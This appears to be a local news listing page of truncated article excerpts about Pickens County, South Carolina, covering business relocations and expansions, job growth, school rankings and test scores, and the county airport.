PICKENS — Pickens County just got an early Christmas present. Tri Tech USA, Inc., of South Burlington, Vermont will relocate its headquarters and manufacturing operations to the Pickens County Commerce Park in Liberty, according to Alliance Pickens and the South Carolina Department of Commerce. “On the heels of recent bad economic news, hopefully folks will…
By Jason Evans PICKENS COUNTY – Pickens County ranked in a list of counties with populations over 65,000 with the lowest property tax. In September, The Tax Foundation, a nonpartisan educational organization that seeks to assist taxpayers about tax policies, released a list of 788 U.S. Counties with the lowest property taxes based on property…
By Sandy Foster LIBERTY – Champion Aerospace in Liberty is expanding its product line, bringing an opportunity for 30 to 45 new jobs to the area, according to company officials. In September 2008, the company acquired the products from Unison Industries, LLC, a subsidiary of General Electric, including highly engineered SLICK magnetos, harnesses and components.…
By Vince Jackson CENTRAL — In a national survey of high schools “ranking rigor of course offerings,” Central’s D.W. Daniel ranked 18th in the state this year and 1,087th nationally. The “Newsweek” magazine/Washington Post annual survey determines what those publications deem the “top” high schools in the country. To determine rankings, officials measured the rigor…
By Rita-Sue Seaborn LIBERTY – Growth and big changes at the Pickens County Airport will be reflected in Liberty and the entire county. Airport director Skeets Cooper briefed Liberty City Council on the airport’s future during a work session last week. “As the airport grows, the City of Liberty will grow, and Pickens County will…
By Greg Oliver COLUMBIA – Approximately 235 schools throughout the state, including 11 in Oconee, Pickens and Anderson 4, will share $3 million awarded Wednesday to palmetto Gold and Silver award recipients for 2007-08. Created by the Education Accountability Act of 1998, and now in its seventh year, the program awards a minimum of $1,500…
By Ginny Johnson “We’ve got the mucky-mucks here in the room … but the heart and soul of any operation is out there making a living right now.” So said Rep. Gresham Barrett about the 450 employees of Dayco-Mark IV who get to keep their jobs thanks to the concerted efforts of Alliance Pickens and…
By Rita-Sue Seaborn The Pickens TTI North America plant is currently hiring 140 new employees after being awarded the Home Depot contract to manufacture pressure washer products. Doug Newton, the company’s senior vice president of Human Resources, said. “This is certainly exciting,” he said. “This is the return of manufacturing to Pickens County and it…
By Rocky Nimmons The official groundbreaking ceremony for St. Jude Medical’s 60,000 square foot hybrid facility and the official ribbon cutting of its new completed facility at the Pickens County Commerce Park was held on Wednesday, October 25. St. Jude representatives, along with state and local dignitaries and those respon¬sible for the site were on…
By Sandy Foster LIBERTY – St. Jude Medical, Inc. announced Tuesday that it will build another facility at the Pickens County Commerce Park. Hybrid microelectronic circuits for the company’s implantable pacemakers and defibrillator will be made at the new 60,000 square foot plant. St. Jude officials plan to hire about 300 employees to…
By Gerald Garrett LIBERTY — Pickens County officials have removed the shroud of mystery from the “John Project.” On Tuesday morning they revealed that St. Jude Medical Inc. is expanding its operations with a second facility at the Pickens County Commerce Park and will hire about 300 new employees over the next five years. At…
According to results released today by the South Carolina Department of Education, students in the School District of Pickens County improved their scores on 2004-2005 end-of-course algebra tests. The Algebra 1 mean scale score for the 1,224 Pickens County students tested improved from 82.5 to 83.9, equivalent to a grade of C on the state’s…
The School District of Pickens County is one of the top five districts in South Carolina, according to annual District Report Card ratings released today. On School Report Cards, 100% of Pickens County schools received an Absolute rating of Excellent, Good, or Average, compared to 83% of the state’s schools. “This is great news for…
By Stephanie Tracy LIBERTY — St. Jude Medical, an international cardiovascular device manufacturer, announced Tuesday it will build a manufacturing and development plant in the Pickens County Commerce Park. The new 100,000-square-foot facility will produce capacitors for implantable defibrillators, and will initially employ an extra 100 workers over the next five years in addition to…
By Wendy Weinhold Anderson County’s loss will be its neighbor’s gain now that a software solutions company has announced plans to invest $2.5 million and relocate its Piedmont office to the Pickens County Commerce Park. KeyMark Inc. said Monday that it would move its 18-employee staff to a 6-acre site at the industrial park, where…
By David Williams PICKENS — Reliable Automatic Sprinkler Co. Inc., a world leader in design, manufacture and distribution of fire sprinklers and system components, will move a majority of its New York state operation to Pickens County. Gov. Mark Sanford and more than 80 Pickens County leaders filled the County Council’s meeting room Friday to…